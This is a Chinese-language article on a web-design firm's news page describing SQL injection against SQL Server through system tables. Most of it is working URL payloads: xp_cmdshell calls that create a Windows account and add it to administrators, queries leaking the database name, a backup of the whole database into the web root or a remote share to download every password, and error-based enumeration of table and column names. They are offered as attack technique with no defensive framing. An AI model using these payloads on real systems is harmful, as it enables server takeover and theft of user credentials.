建站
咨詢
售后
建站咨詢
新聞中心
下面為您介紹了利用SQLServer系統(tǒng)表注入SQLServer數(shù)據(jù)庫的實現(xiàn)方法，供您參考，如果您對SQLServer系統(tǒng)表方面感興趣的話，不妨一看。
讓客戶滿意是我們工作的目標，不斷超越客戶的期望值來自于我們對這個行業(yè)的熱愛。我們立志把好的技術通過有效、簡單的方式提供給客戶，將通過不懈努力成為客戶在信息化領域值得信任、有價值的長期合作伙伴，公司提供的服務項目有：域名申請、網(wǎng)頁空間、營銷軟件、網(wǎng)站建設、昌平網(wǎng)站維護、網(wǎng)站推廣。
SQLServer是一個功能強大的數(shù)據(jù)庫系統(tǒng)，與操作系統(tǒng)也有緊密的聯(lián)系，這給開發(fā)者帶來了很大的方便，但另一方面，也為注入者提供了一個跳板，我們先來看看幾個具體的例子：
① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分號;在SQLServer中表示隔開前后兩句語句，--表示后面的語句為注釋，所以，這句語句在SQLServer中將被分成兩句執(zhí)行，先是Select出ID=1的記錄，然后執(zhí)行存儲過程xp_cmdshell，這個存儲過程用于調(diào)用系統(tǒng)命令，于是，用net命令新建了用戶名為name、密碼為password的windows的帳號，接著：
② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
將新建的帳號name加入管理員組，不用兩分鐘，你已經(jīng)拿到了系統(tǒng)最高權限！當然，這種方法只適用于用sa連接數(shù)據(jù)庫的情況，否則，是沒有權限調(diào)用xp_cmdshell的。
③ http://Site/url.asp?id=1 ;;and db_name()＞0
前面有個類似的例子and user＞0，作用是獲取連接用戶名，db_name()是另一個系統(tǒng)變量，返回的是連接的數(shù)據(jù)庫名。
④ http://Site/url.asp?id=1;backup database 數(shù)據(jù)庫名 to disk=’c:\inetpub\wwwroot\1.db’;--
這是相當狠的一招，從③拿到的數(shù)據(jù)庫名，加上某些IIS出錯暴露出的絕對路徑，將數(shù)據(jù)庫備份到Web目錄下面，再用HTTP把整個數(shù)據(jù)庫就完完整整的下載回來，所有的管理員及用戶密碼都一覽無遺！在不知道絕對路徑的時候，還可以備份到網(wǎng)絡地址的方法（如\\202.96.xx.xx\Share\1.db），但成功率不高。
⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status＞0)＞0
前面說過，sysobjects是SQLServer的系統(tǒng)表，存儲著所有的表名、視圖、約束及其它對象，xtype=’U’ and status＞0，表示用戶建立的表名，上面的語句將第一個表名取出，與0比較大小，讓報錯信息把表名暴露出來。第二、第三個表名怎么獲取？還是留給我們聰明的讀者思考吧。
⑥ http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)＞0
從⑤拿到表名后，用object_id(‘表名’)獲取表名對應的內(nèi)部ID，col_name(表名ID,1)代表該表的第1個字段名，將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。
以上6點是我研究SQLServer注入半年多以來的心血結晶，可以看出，對SQLServer的了解程度，直接影響著成功率及猜解速度。在我研究SQLServer注入之后，我在開發(fā)方面的水平也得到很大的提高，呵呵，也許安全與開發(fā)本來就是相輔相成的吧。
【編輯推薦】
sqlserver分發(fā)服務器的設置
SqlServer唯一約束的創(chuàng)建
讓sqlserver恢復到某個時間點
sqlserver分頁存儲過程實例
SQLServer刪除log文件和清空日志的方法
分享文章：利用SQLServer系統(tǒng)表注入SQLServer數(shù)據(jù)庫
URL地址：http://m.5511xx.com/article/cccidde.html
